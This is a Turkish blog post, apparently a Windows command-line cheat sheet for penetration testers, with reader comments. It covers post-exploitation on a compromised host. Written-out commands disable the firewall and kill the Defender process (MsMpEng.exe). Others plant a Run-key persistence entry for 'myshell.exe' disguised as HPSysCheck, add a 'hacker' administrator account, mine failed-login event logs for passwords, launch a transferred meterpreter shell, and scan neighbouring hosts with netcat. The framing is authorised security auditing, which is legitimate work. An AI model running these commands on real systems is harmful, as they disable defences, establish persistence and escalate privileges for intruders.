Güvenlik denetimi yapanlar için bir Windows komut satırı kılavuzu hazırladım. Aşağıdaki komutların tümünün özelliği interaktif komut olmamalarıdır. (Uğraştım bir shell elde ettim, bir komutla işleri elime yüzüme bulaştırmayayım modu)
Bu kılavuz aşağıdaki bölümlere ayrılmıştır:
- Temel Komutlar
- Dosya Oluşturma ve Düzenleme
- Ele Geçirilen Sistemin Analizi
- Ağ Servisleri ve Firewall Analizi
- İşlemler ve Çalışan Servisler
- Registry Erişimi ve Düzenleme
- Kullanıcı/Grup Analizi ve Kullanıcı Ekleme
- Komşu Hedeflerin Keşfi
- Yeni Sürümlerde Paket Yönetimi
Temel Komutlar
Herhangi bir dosyayı görüntüleme
type
Örn:
type c:\windows\system32\drivers\etc\hosts
Çıktı filtreleme
findstr
find “aranacak_kelime”
Örn:
netstat -ano |findstr /i listen (/i = büyük küçük harf duyarlı olmasın)
Dosya arama bulma
dir /s /b filtre
Örn:
dir /s /b |findstr web.config
Dosya Oluşturma ve Düzenleme
Satır satır yeni bir dosya oluşturma
echo SATIR1 >> dosya
echo SATIR2 >> dosya
…
(satır sonlarında boşluk olmaması için “echo SATIR3>> dosya” kullanılabilir)
İçerisinde < veya > karakterleri geçen satırları dosyaya ekleme (< veya > karakterleri öncesinde ^ karakteri koyulmalıdır)
echo ^> >> dosya
Örn: echo ^<?php phpinfo(); ?^> >> dosya.php
Dosya içerisindeki bir satırı silme
type dosya |findstr /v satırda_geçen_bölüm > yenidosya
Ele Geçirilen Sistemin Analizi
Detaylı sistem bilgisi öğrenme (İşletim sistemi, sürümü, service pack seviyesi, yüklü yamalar, ağ kartları)
systeminfo
(Windows XP, Vista, 7, 2003, 2008 vb.)
IP bilgisi
ipconfig /all
DNS cache (Kullanıcının son ziyaret ettiği siteler, çevredeki sunucular vb görülebilir)
ipconfig /displaydns
DNS cache temizleme
ipconfig /flushdns
Sistem değişkenleri
set
Event Log içerisinde sorgulama
eventquery.vbs
Örn:
Sistemlere giriş yaparken yanlışlıkla kullanıcı adı bölümü kısmına şifre yazılmış olabilir. Ayrıca bazı durumlarda kullanıcı adı ve şifre yanyana yazılabilmektedir. Bunları Security Event Log içerisinden çıkartabiliriz.
cscript c:\WINDOWS\system32\eventquery.vbs /l Security /fi “id eq 529” /v
(tüm failed loginler)
cscript c:\WINDOWS\system32\eventquery.vbs /l Security /fi “id eq 529” /v |find “User Name” |find /v /i “administrator ”
(administrator kullanıcı adı yanına yazılmış şifreler)
Ağ Servisleri ve Firewall Analizi
Mevcut sistemdeki paylaşımlar
net share
Paylaşımlara bağlı sistemler ve kullanıcılar, IP adresleri
net session
nbtstat -S
Dinleyen servisler, aktif bağlantılar
netstat -an
netstat -ano
netstat -anb
(o seçeneği process ID, b seçeneği process ID + dosya adı gösterir. Eski sistemlerde bulunmayabilir)
Firewall durumu görüntüleme
netsh firewall show config
Firewall’u devre dışı bırakma
netsh firewall set opmode disable
Firewall’u devre dışı bırakmadan ayarlarıyla oynamak için aşağıdaki komutu çalışın
netsh firewall add portopening /?
İşlemler ve Çalışan Servisler
Çalışan programları listeleme
tasklist
Çalışan programları kapatma
taskkill
Örn:
taskkill /f /im MsMpEng.exe (msmpeng.exe isimli tüm işlemleri öldür)
taskkill /f /pid 1868 (1868 process ID’li tüm işlemleri öldür)
Windows servislerini listeleme
sc query state= all (Boşluğa dikkat)
Çalışan servisleri listeleme
sc query
net start
Servis başlatma/durdurma
sc start/stop servis_adı
net start/stop “servis görünen adı”
Servis disabled ise başlatmadan önce
sc config servis_adı start= demand
Yeni bir işlem başlatma
start /min dosya.exe (Örneğin encoded bir meterpreter shell transfer ettiniz ve çalıştırmak istiyorsunuz. Hört diye direk çalıştırırsanız shell erişiminizi kaybedebilirsiniz.)
Bir komutun belirli bir zamanda çalışmasını sağlama (job scheduling)
at
schtasks (daha esnek ve yeni Windows sürümlerinde artık bu geçerli olacak)
Not: schedule servisinin çalışıp çalışmadığını kontrol etmek için:
sc query schedule
Registry Erişimi Ve Düzenleme
Registry değerlerini görme
reg query HKLM\Software\microsoft\Windows\CurrentVersion\run
Registry içerisine yeni bir değer ekleme
reg add HKLM\Software\microsoft\Windows\CurrentVersion\run /v HPSysCheck /d myshell.exe
Kullanıcı/Grup Analizi ve Kullanıcı Ekleme
Kullanıcıları listeleme
net user
Grupları veya bir grup içerisindeki kullanıcıları listeleme
net localgroup
net localgroup administrators
Sisteme yeni kullanıcı ekleme ve bu kullanıcıyı Administrators grubuna ekleme
net user add hacker Woot123 /add
net user administrators hacker /add
Domain’e yeni kullanıcı eklemek için komut sonlarına /domain ekleyiniz. Bunun için domain’de yetkili bir kullanıcı olarak komutu çalıştırıyor olmak gerekir.
Komşu Hedeflerin Keşfi
Çevredeki Windows sunucular
net view
Çevredeki Windows sunucular üzerindeki paylaşımlar
net view \\sunucu
Kullanılan paylaşımlar
net use
ARP hafızası çevredeki cihazları gösterebilir
arp -a
Route tanımları, yeni hedef ağlara ve gateway cihazlarına işaret edebilir
route print
Port tarama
Netcat veya Scanline yazılımı hedef sisteme transfer ederek çevredeki sunucuların açık servisleri tespit edilebilir. Scanline daha basit, hızlı ve netcat’e göre yetenekli bir seçenek olabilir.
Port tarama yapmadan önce mutlaka Windows firewall aktifse, devre dışı bırakın.
Örn:
nc -nvz -w1 192.168.14.20 21 22 25 79 80 81 110 143 135 443 445 |findstr open
Yeni Sürümlerde Paket Yönetimi
Dosya transferi demişken, Windows Vista, 7 ve 2008’de TFTP client, Telnet Client gelmemektedir. Şu şekilde aktif hale getirilebilir:
pkgmgr /iu:TFTP
pkgmgr /iu:TelnetClient
Kaldırmak için
pkgmgr /uu:TFTP
pkgmgr /uu:TelnetClient
Güncellemeler
23/10/2011 – Dosya oluşturma ve düzenleme bölümü eklendi, paylaşımlarla ilgili bazı bilgiler eklendi, ele geçirilen sistemin analizi bölümüne bazı ipuçları eklendi, yazı daha kolay okunabilir hale dönüştürüldü.
Windows command line cheat sheet for penetration testers
pkgmgr'yi bilmiyordum bak iyi oldu bu :)
Çok güzel ve özlü bir çalışma olmuş. Elinize sağlık.
Many thanks! It’s so much better than the unoriginal issues you oftentimes come across in our sphere.
Güzel bir çalışma olmuş , elinize sağlık.
Belli bir portun aktif olup olmadığını kontrol etmek için
“telnet ipadres portno” komutu da listeye eklenebilir.
tracert , nslookup ,nbtstat -n komutları da sıklıkla kullandığım komutlar arasındadır.
Tesekkurler.
Telnet daha interaktif bir komut oldugu icin eklememistim. Acik bir port bulundugunda shell oturumunda sorun olusacaktir. Bu nedenle kullanimina dikkat etmekte fayda var.
Hedefe nc veya scanline yukleyip, bunlarla cevre sistemleri taramak daha risksiz olacaktir. Ama mutlaka telnet kullanilmasi gerekiyorsa, suradaki gibi kullanilabilir: http://blog.commandlinekungfu.com/2010/04/episode-89-lets-scan-us-some-ports.html
nslookup da ayni sekilde, direk komut satirindan kullanilmasi gerekir. Sadece nslookup yazilip enter’a basildiginda, shell baglantisi ise yaramaz hale gelebilir.
Evet, nbtstat bazen faydali olabilir. Dokumani guncelleyecegim. Formati da kotu olmus, blogger’dan buraya import ettigim icin zor okunur hale gelmis.